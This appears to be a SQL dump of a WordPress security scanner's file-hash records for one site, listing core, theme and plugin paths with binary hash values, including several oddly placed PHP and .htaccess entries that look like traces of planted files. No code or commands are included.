('=b6hst','wp-admin/ms-themes.php','/home/trevorkl/trevorklee.com/wp-admin/ms-themes.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':1R]	lI!#_J','7EHPuZbG','',0,'?'),
('(7I()','wp-content/themes/twentytwentyfive/patterns/testimonials-2-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/testimonials-2-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','iu}mJ\nߤ2JN3','hG~\'U`6;_af\\Z+dR','',0,'?'),
('\'FEAvQMv','wp-content/plugins/wordfence/lib/Diff/Renderer/Abstract.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/Diff/Renderer/Abstract.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>\r5]xVI\'i','G݅\'!YE3P5adM','',0,'?'),
('IUzYWg!g','wp-includes/blocks/latest-comments/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-comments/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'À]0','z]HKaa)2$M','',0,'?'),
('>p\rB','wp-content/themes/twentytwentyone/assets/sass/06-components/pagination.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/pagination.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dN#vksz','w;[f]XÞ&y2,F','',0,'?'),
('^u[p}`BW1','wp-includes/blocks/table/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5]:r','eÇ̻%9IBuoHן*W<','',0,'?'),
('Z#HT(2','wp-includes/block-bindings/term-data.php','/home/trevorkl/trevorklee.com/wp-includes/block-bindings/term-data.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(u2޲,*','w/\'Geɂ#nd|JY','',0,'?'),
('ƍp=Z\0S_$','wp-includes/blocks/cover/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Yۜk0K\0t','e\\\ZÂtxgS<=','',0,'?'),
('k0Ba`','wp-includes/customize/class-wp-customize-nav-menu-setting.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ǜ\05+&̺WV','owҏ]e|K$9rsc&/','',0,'?'),
(')<gMTAjsx','wp-includes/blocks/accordion-panel/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-panel/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&-PSag','O,G*rzj1]A%','',0,'?'),
('\r)51T o','wp-content/themes/twentytwentyone/inc/block-styles.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/block-styles.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6jA|;~$7G','kL82ZSu*snl4Ђ','',0,'?'),
('ܟҿB∶','wp-includes/js/dist/media-utils.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/media-utils.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ioErp>#','h(Nܥxǣ#XŻ:','',0,'?'),
('-=QCwtnL#','wp-content/plugins/wordfence/lib/wfBrowscap.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfBrowscap.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C\"+5ŸH',',ovU(wdϨOH','',0,'?'),
('#*>E%f/','wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Bold.ttf','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Bold.ttf',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z%OaMW','}q{7f4y}pErPCmU\nF','',0,'?'),
('͑}P	07','wp-includes/blocks/code/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\JNPT-7]','</lU0*ߥW$VvC]4','',0,'?'),
('\nO_;]/^','wp-includes/images/down_arrow.gif','/home/trevorkl/trevorklee.com/wp-includes/images/down_arrow.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V~oYnG~_u','h8ɧpu{9J','',0,'?'),
('ν}V+tB','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/BLAKE2b.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/BLAKE2b.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','꤀x٠%cl','N8,caeΟi<5p$','',0,'?'),
('G_bc.,]&','wp-admin/js/image-edit.js','/home/trevorkl/trevorklee.com/wp-admin/js/image-edit.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N75ȤC','FŲELBXOtԺXެ','',0,'?'),
('Kv$TMR=','wp-includes/css/dist/edit-post/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qVCj1','\'\'\Z!qt%-ь[~','',0,'?'),
('2J0xYr','wp-content/themes/twentytwentyone/assets/sass/05-blocks/preformatted/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/preformatted/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','bQ[릶',')t1@1\0וKW\0','',0,'?'),
('M^{','wp-includes/blocks/term-template/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-template/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fYk2h0 Xn','j.:O((>I-@Gt','',0,'?'),
('fMx	+9U','wp-admin/js/customize-widgets.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/customize-widgets.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ܤPAKe4NB;A','n<HIg\r!dcڙ(Я\'','',0,'?'),
('&𐯧o]3+g','wp-includes/blocks/post-terms/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-terms/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4\"h','@\Z\'_:e$)nF','',0,'?'),
('%\\MA','wp-admin/images/wordpress-logo-white.svg','/home/trevorkl/trevorklee.com/wp-admin/images/wordpress-logo-white.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qPC-SPD','e4E?&DsAʬ;)@Xɒ','',0,'?'),
('J}FE\09','wp-content/themes/index.php','/home/trevorkl/trevorklee.com/wp-content/themes/index.php',0,'gD,V=\\bP','gD,V=\\bP','k~	UH\ZxPĀ<;X','',0,'?'),
('X@+X5fe˓[','wp-includes/sitemaps/sqh1xut/mjntoed/jprxeqi/php.ini','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/sqh1xut/mjntoed/jprxeqi/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('čo$QTf\"','wp-includes/js/tinymce/plugins/wpview/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpview/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('=}CiHT','wp-admin/network/profile.php','/home/trevorkl/trevorklee.com/wp-admin/network/profile.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E3@%c ','\\H.77QtUwݰAK,$A!Lz','',0,'?'),
(']?9JPϷ.M','wp-content/plugins/header-footer-code-manager/images/99robots-logo-avatar.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/images/99robots-logo-avatar.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>)+R4X\'\'B','%hW`pư8<wt,kMKg9B','',0,'?'),
('g+,c','wp-includes/block-supports/colors.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/colors.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g5+p','p8-6Nrϖzfl','',0,'?'),
('gI!٭_','wp-includes/ms-blogs.php','/home/trevorkl/trevorklee.com/wp-includes/ms-blogs.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',<:W4OzK','7VtsA4,e畡=xWsoZ','',0,'?'),
('Xv=B','wp-content/themes/twentytwentyfive/styles/04-afternoon.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/04-afternoon.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','._ݞD','J\"?y鏶yZRJXS','',0,'?'),
('tDXm\0#(','wp-includes/customize/class-wp-customize-nav-menu-locations-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+;^8v={KR','gxN@`jrm~v','',0,'?'),
(']/~qXŎE','wp-includes/js/jquery/ui/button.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/button.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@ |虖 Oa	^?','9ϗM\"u*y{2^mT,\r','',0,'?'),
('2*pd\"prӗ','cgi-bin/cgi-bin/index.php','/home/trevorkl/trevorklee.com/cgi-bin/cgi-bin/index.php',0,'R\"%]m2\Zr','R\"%]m2\Zr','4Jnm3C6Ӈ','',0,'?'),
('̩wnHͨf','wp-includes/sodium_compat/src/Core/AES.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AES.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ne񈞌Oq&A','+xȶ w4EJ@7j흤','',0,'?'),
('B@R*GxF4N}','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/XSalsa20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/XSalsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'_?Sş\Z]y','6[-,9YRr\rY\"-an6$','',0,'?'),
('R\\&T	|`','wp-includes/class-wp-user.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-user.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T؎2ԁ7E!l','+U+@iiE\"$:[ưe~P','',0,'?'),
('Z14`+`<','wp-content/plugins/wordfence/lib/wfScanFileListItem.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanFileListItem.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','HaJMq3\"ѭ','Cz>}/e~~lnˀVY,f','',0,'?'),
('tt̸T.*óU','wp-content/plugins/wordfence/modules/login-security/views/page/role.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/role.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(,|\r6','Fs#-dN8Iۧ҂9f o','',0,'?'),
('uV\'j\ZV','wp-includes/blocks/comment-template/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-template/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ߡiP͌','7#KF\rϸJxP5gƆS}n','',0,'?'),
('ynm;/UsK	','wp-includes/css/wp-embed-template-ie.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-embed-template-ie.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ń7jR','Er)ckQ[yCχ=!','',0,'?'),
('|&;rLs5','wp-admin/includes/comment.php','/home/trevorkl/trevorklee.com/wp-admin/includes/comment.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&[~ieF ','$PC.egJ\rgdrmP','',0,'?'),
('9z/b=','wp-includes/blocks/site-tagline/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-tagline/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(';]05`ʘ\nI','wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/f.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/f.php',0,'\rlDAƢ:','\rlDAƢ:','#,\n6#O5TvS7n\0','',0,'?'),
('Ye.0s','wp-admin/includes/class-wp-comments-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-comments-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P\\g9>.fVS݋','B+=ycq%QvOd1b','',0,'?'),
(',d$\\Zޟ^Wu','wp-includes/blocks/buttons/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/buttons/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6VOr\"\n\n','Ԡ\"S\\gZSl+?[\r62f','',0,'?'),
('k*lb3}','wp-includes/js/dist/script-modules/block-library/form/view.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/form/view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8%AdoM)','Y54AYKߺ','',0,'?'),
('\'-p-f','wp-admin/css/l10n-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/l10n-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UF{/?','H̭-{ȃr6@@5>','',0,'?'),
('|;,H\"O~}x+1','wp-includes/css/dist/customize-widgets/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/customize-widgets/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('jֹJ0Y','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/X25519.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/X25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p0W\"F)8O','5)&BoK]ػrm`%hO','',0,'?'),
('Q%rT>!e_zE','wp-content/themes/twentytwentyone/inc/back-compat.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/back-compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eYk=kL','3U0d͟*g5C-F','',0,'?'),
('PlQ3n','wp-content/themes/twentytwentyfive/patterns/comments.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{\\v_NJu','nCJ[n\nog\"#','',0,'?'),
('k+X>C','wp-content/themes/twentytwentyfour/assets/fonts/cardo/LICENSE.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/cardo/LICENSE.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5}\Z>| q','4&5r2t\rhGXp2*\';','',0,'?'),
('اd5Yy`pJ\r7','wp-content/plugins/header-footer-code-manager/99robots-header-footer-code-manager.php','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/99robots-header-footer-code-manager.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9%ߖ4>H\"L>','qɃUYzs}\'h:c8q!?\0','',0,'?'),
('\"<	it&','wp-admin/css/colors/modern/colors.scss','/home/trevorkl/trevorklee.com/wp-admin/css/colors/modern/colors.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&D`a1','\\ss/wZ])\Z	`@ͧgݫ)','',0,'?'),
('?Lie9lt','wp-includes/blocks/post-author-biography/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-biography/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʂnX\'\'XU','\nL]ZU3	&7=Zk^','',0,'?'),
('C(`fIY','wp-content/plugins/loginizer/assets/images/wpcentral_product.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/wpcentral_product.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@e]}?','aL}:|4j${ˊ','',0,'?'),
('Ra~j,rVO','wp-includes/style-engine/class-wp-style-engine-css-declarations.php','/home/trevorkl/trevorklee.com/wp-includes/style-engine/class-wp-style-engine-css-declarations.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8LKd(','3#AjEr5]Stuf)sǱ','',0,'?'),
('klBbòC/`','wp-includes/js/dist/script-modules/block-library/accordion/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/accordion/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('0wc`78M','wp-includes/blocks/gallery/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3JDFĭ~2?','kRELMX]lf,*hOI{','',0,'?'),
('	fN[ 1hew.','wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m@!zହC','J1x#2ˈܧ8*\'','',0,'?'),
(')A=? ','wp-includes/blocks/query-total/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-total/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r<X\nx_(l\"I','f.dLJ fcU}d.q3t2㤦','',0,'?'),
('\Z(p-;','wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/index.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/index.php',0,'}$Iq','}$Iq','@	c&ƣNfkD:LjCs<D','',0,'?'),
('3W','wp-includes/js/dist/script-modules/workflow/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/workflow/index.min.js',0,'kaX9','kaX9','Er^rNϨkfߎ*n0|ר','',0,'?'),
('$AB|M!3','wp-includes/PHPMailer/error_log','/home/trevorkl/trevorklee.com/wp-includes/PHPMailer/error_log',0,'>swut\n','>swut\n','~Bąχ?rϋ\Z?|Ǚh?','',0,'?'),
('9kɽ JZ<','wp-content/themes/twentytwenty/searchform.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/searchform.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~6*C','eRwDrraGIr݇','',0,'?'),
('A񟧶f*k','wp-includes/blocks/navigation/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԓL2(J~','\rmbJa֡ Z^r?U-IMV','',0,'?'),
('LbP-I׭1f','wp-includes/theme-compat/header.php','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G{\r(7ND:W','q2յϢ>r7Nj	D^A5\r','',0,'?'),
('Nd#R+r\0s[','wp-content/plugins/wordfence/views/reports/activity-report.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/reports/activity-report.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','мtÛF9`','O\'>ro)z~','',0,'?'),
('QL/V@gU','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-ExtraLight.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-ExtraLight.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}\0͘K32ϣ ','y]9Y&͆^|W(','',0,'?'),
('RIh$Չ','wp-includes/js/dist/script-modules/abilities/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/abilities/index.min.js',0,'`l5\\PR','`l5\\PR','1b!-?S,)[,,<2r@~4','',0,'?'),
('c^!67&','wp-content/plugins/loginizer/lib/hybridauth/Adapter/AbstractAdapter.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Adapter/AbstractAdapter.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[((Ү>v*O','^atCq~0g41\r4#@','',0,'?'),
('t!\Z%\n','wp-content/plugins/wordfence/vendor/composer/autoload_namespaces.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/autoload_namespaces.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5,}vĨ3G)','Er4@\0ԡ$z3$l\Z`iexl','',0,'?'),
('{Y\\z錿}c','wp-includes/images/smilies/rolleyes.png','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/rolleyes.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' O2Ofݣi','fK)\nd!]\r)\\}זl^','',0,'?'),
('- \"\"F6','wp-content/themes/twentytwenty/classes/class-twentytwenty-non-latin-languages.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-non-latin-languages.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rüNa Rt','k.3H(\r[Ƨ\rܐ ','',0,'?'),
('4m*൹}','wp-includes/SimplePie/src/Restriction.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Restriction.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';{?]*~','>;Ѐ\rJ*3!2CQ','',0,'?'),
('HvzE\"ZG','wp-content/themes/twentytwentytwo/inc/patterns/header-large-dark.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-large-dark.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}?C*aSՋ[\n','ad\",qӋr&^tκ-','',0,'?'),
('?\0l.','wp-includes/class-wp-application-passwords.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-application-passwords.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ۭ]r\" ','z6P۬QrGPYi0k͝','',0,'?'),
('2p)tI','wp-content/plugins/wordfence/modules/login-security/classes/model/settings/db.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/settings/db.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"P 9\'','wk0HfIo0\nyK|#2H','',0,'?'),
('oRb','wp-includes/js/dist/url.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/url.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','轳T٣','g؆usb\\F*hSb','',0,'?'),
(' \r-Uz\raK','wp-includes/blocks/pullquote/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kȋ6]|EQ/','0_\Z.%IxShl?:S','',0,'?'),
(' -]9yĊ\'`','wp-includes/js/dist/script-modules/block-editor/utils/fit-text-frontend.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-editor/utils/fit-text-frontend.min.asset.php',0,'3;HKftBE','3;HKftBE','Dԑ<M,ѐXg`','',0,'?'),
(' WbƜ36;}#','wp-content/themes/twentytwentyfour/patterns/hidden-sidebar.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-sidebar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i\Z)]ӯE8','ބVWBOXWHDcU|ִON_Jn','',0,'?'),
(' ɉ:s{1<','wp-includes/blocks/embed/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7\0t됇','z%^`8\\oRhp˼&','',0,'?'),
(' \'_U;0/<','wp-admin/includes/class-bulk-theme-upgrader-skin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-bulk-theme-upgrader-skin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','²\"Ax!k','g`DrEbA','',0,'?'),
(' *@ADғ=puE','wp-admin/user-new.php','/home/trevorkl/trevorklee.com/wp-admin/user-new.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dz:oi',')ޏDvSl`+8k{\\','',0,'?'),
(' .dj3*;','wp-content/plugins/header-footer-code-manager/includes/hfcm-settings.php','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/includes/hfcm-settings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Il( C<[','fNČwv?4c7ܛBZ','',0,'?'),
(' =i;[','wp-includes/blocks/require-static-blocks.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/require-static-blocks.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K+MnM^I','JڏUT:NACg','',0,'?'),
(' W,@{?9','wp-includes/blocks/post-author-name/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-name/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/i<_pZ\\','f>k%#|R%	w\\\n)uH','',0,'?'),
(' y>4lgR','wp-includes/blocks/query-pagination-numbers/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination-numbers/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gZ 8Z','y qkj|gY{','',0,'?'),
(' =gV|','wp-content/themes/twentytwenty/inc/template-tags.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/inc/template-tags.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\{vÿ.pOl#','ȸ&@ұ@hOKS[AiUZ%','',0,'?'),
(' GʴGtؑ','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/BLAKE2b.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/BLAKE2b.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8NÝ\ZȖv듪','+uRAefY)%;*\ZyU','',0,'?'),
(' zz{LH','wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s/\00W','1@y\Z{{,|VF=`','',0,'?'),
(' Ȃqnfdwb','wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/LICENSE.md','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/LICENSE.md',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UZ)\'a5@','Di\"Ǟt۱R@8uvu','',0,'?'),
(' sձjAuN&','wp-content/plugins/wordfence/lib/geoip.mmdb','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/geoip.mmdb',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!]U.+QMf]b','VYв4tND.- 0)','',0,'?'),
(' c̫)I\np,͑','wp-includes/css/jquery-ui-dialog-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/jquery-ui-dialog-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ny}4:N;','\n\nXmpaU(v:r$FB*W-','',0,'?'),
(' +\n','wp-includes/js/dist/commands.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/commands.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\\\}Ckz	','Z8o~0RT8ްoNעy','',0,'?'),
(' t4${SE','wp-includes/blocks/categories/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/categories/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&fE4:\\x]}/qK9 ','fbW0R^5c\"KڊْBzrs','',0,'?'),
('!o\rAv7e','wp-admin/update.php','/home/trevorkl/trevorklee.com/wp-admin/update.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+of$[D',' vw 5aĉ5߃Xo( m5bv','',0,'?'),
('!HufɁD7>=g','wp-content/plugins/wordfence/lib/wfLicense.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfLicense.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N,NVz]','@pvQ9֭Po4#G2Ý','',0,'?'),
('!1b݅9*\\','wp-admin/admin-footer.php','/home/trevorkl/trevorklee.com/wp-admin/admin-footer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"dƚ$6	U\r','u\nz9l\0I,#\n?YUV','',0,'?'),
('!Id]5$[~','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/Ctx.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/Ctx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oL k\'k1','1\\Qt*J%s&','',0,'?'),
